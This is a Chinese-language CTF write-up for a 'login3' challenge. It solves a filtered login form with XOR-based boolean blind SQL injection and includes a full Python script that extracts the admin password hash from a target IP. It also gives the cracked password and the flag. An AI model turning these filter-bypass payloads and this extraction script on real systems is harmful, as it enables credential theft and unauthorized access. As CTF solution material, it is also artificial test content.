login3(过滤了 空格、=、union、逗号、and、where等字符的 布尔型盲注)
首先 试一下 admin 和 admin 提示 password error!(这里知道用户名 admin是存在的)
这里知道了用户名 admin,那用万能密码试一下呗
输入密码: admin' or 1 =1 # 提示password error !应该是有 过滤吧
用 自己写的 sql 关键字 字典 在burp-suite 中 跑一下 看看到底有哪些 字符被过滤了:
对username 字段:(返回值为 1016 的 在response 中 提示 非法字符 ,说明 1016 的字符试被过滤的 ,1023的没有过滤)
可以看到 = ,逗号,union ,and 、where 都被过滤了
对password字段:(username 设置的是 admin ,注入password,返回值全是 1014,response中全是 passWord error!根本看不出开有哪些字符被过滤了)
咱们的思路肯定不能是 去 一步一步的爆 库 了,太麻烦了
既然知道了用户名 那直接组爆 password 不就行了
还好没有 过滤 异或 符 ^ 那我们就用 异或 注入
当 在 username 中 输入 admin'^' 时 会提示 password error!
输入 admin'^1^'时 会提示 username does not exist!
输入 admin'^0^'时 会提示 password error!
那我们就可以去 把 admin'^0^' 中 0 位置的 替换成我们的布尔判断语句
如果 判断语句是正确的即为1 那就会提示 username does not exist!
否则就会提示 : password error !
根据这个 去写一个 布尔的盲注脚本:(在用 substr()函数的时候特别注入 逗号 被过滤的 只能 用 from的形式)
import requests
url = "http://123.206.31.85:49167/index.php"
char = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
result = ''
for i in range(1,45):
stop = 0
for c in char:#两个payload的表达方式不同 都是可以用的 ,任选其一
#payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i),ord(c))
payload = "admin'^(ascii(substr((select(password)from(admin))from({0})))<>{1})^0#".format(str(i),ord(c))
data = {
'username': payload,
'password': '123'
}
html = requests.post(url, data=data)
if 'error' in html.text:
result +=c
stop =1
print(i)
print("......" + result)
break #匹配到值后内循环停止
if stop == 0: #当内循环匹配不到值的时候外循环就停止
print("\n"+result)
break
然后就得到 password 的 值 为一个 md5加密过的字符串 :51b7a76d51e70b419f60d3473fb6f900
解密后得到:skctf123456
输入admin 和 skctf123456 后得到flag:
SKCTF{b1iNd_SQL_iNJEcti0n!}